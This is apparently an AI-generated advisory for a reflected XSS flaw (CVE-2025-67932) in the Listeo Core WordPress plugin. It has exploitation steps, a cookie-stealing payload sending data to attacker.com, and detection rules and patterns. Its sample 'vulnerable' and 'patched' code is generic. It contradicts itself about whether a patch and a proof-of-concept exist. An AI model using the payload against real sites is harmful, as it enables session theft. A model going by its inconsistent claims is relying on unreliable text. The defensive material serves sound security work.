CVE-2025-67932
Executive Summary
CVE-2025-67932 is a reflected Cross-Site Scripting (XSS) vulnerability in the Listeo Core WordPress plugin by purethemes. The flaw arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This vulnerability affects all versions of listeo-core prior to 2.0.19. With a CVSS score of 7.1 (High), it poses a significant risk to WordPress sites using the plugin, as it can lead to session hijacking, credential theft, or defacement. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. As a WordPress ecosystem component, it is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk is elevated because the plugin is widely used in real estate and directory websites. Administrators should verify the integrity of their plugin files and monitor for unauthorized modifications.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – The victim must click a crafted link.
- Scope: Changed (S:C) – The injected script can affect other components.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: Low (A:L) – Limited disruption.
Threat Level: High. The low attack complexity and no privileges required make this a prime target for phishing campaigns and automated scanning.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the Listeo Core plugin. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads in parameters such as s, search, or other query strings. When a victim clicks the link, the script executes in the context of the victim's browser, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the user.
Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output functions without applying WordPress's esc_html() or esc_attr() functions.
Attack Vector: Reflected XSS via crafted URL parameters.
Impact: Session hijacking, credential theft, defacement, or malware distribution.
Vulnerable vs. Patched Code
Vulnerable Code (listeo-core < 2.0.19):
<?php
// In a template file or shortcode handler
$search_term = $_GET['s'];
echo '<div class="search-result">You searched for: ' . $search_term . '</div>';
?>
Patched Code (listeo-core >= 2.0.19):
<?php
$search_term = isset($_GET['s']) ? sanitize_text_field($_GET['s']) : '';
echo '<div class="search-result">You searched for: ' . esc_html($search_term) . '</div>';
?>
The patched version uses sanitize_text_field() to strip malicious input and esc_html() to safely encode output.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site running listeo-core < 2.0.19.
- Ability to craft and deliver a malicious link.
Exploitation Steps:
- Identify a vulnerable parameter (e.g.,
s,search,q). - Craft a payload:
<script>alert('XSS')</script>. - Construct the malicious URL:
http://target.com/?s=<script>alert('XSS')</script>. - Deliver the link via email, social engineering, or other means.
- When the victim clicks, the script executes.
Advanced Payload (Cookie Theft):
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
No public exploit code is available. The above is a generic example.
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for unusual query strings containing
<script>,onerror, orjavascript:. - Use WAF rules to block reflected XSS patterns.
- Deploy browser-based XSS filters (e.g., X-XSS-Protection header).
Defense:
- Immediately update to listeo-core >= 2.0.19 if available.
- If no patch, disable the plugin or implement a virtual patch via WAF.
- Educate users not to click suspicious links.
Indicators of Compromise (IOCs)
- URL Patterns:
?s=<script>,?search=javascript:,?q=%3Cscript%3E - Log Entries: HTTP requests with
200status and query strings containing<script>oronerror. - Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
- File Hashes: No specific file hashes available; monitor for modified plugin files.
Detection Engineering
YARA Rule
rule CVE_2025_67932_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting Listeo Core plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67932"
strings:
$payload1 = /[?&](s|search|q)=.*<script/i
$payload2 = /[?&](s|search|q)=.*onerror/i
$payload3 = /[?&](s|search|q)=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Listeo Core
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts in HTTP requests to Listeo Core plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '<script'
- 'onerror'
- 'javascript:'
c-uri|startswith:
- '/?s='
- '/?search='
- '/?q='
condition: selection
falsepositives:
- Legitimate search queries containing these strings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67932 Reflected XSS Attempt"; flow:to_server; content:"?s="; nocase; content:"<script"; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Plugin: Upgrade to listeo-core version 2.0.19 or later if available. Check the WordPress plugin repository or vendor site.
- Virtual Patching: If no patch is available, deploy a WAF rule to block requests containing
<script>,onerror, orjavascript:in query parameters. - Disable Plugin: As a last resort, disable the Listeo Core plugin until a patch is released.
Long-Term Measures:
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Regularly audit plugins for security vulnerabilities.
- Use WordPress security plugins (e.g., Wordfence) for additional protection.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.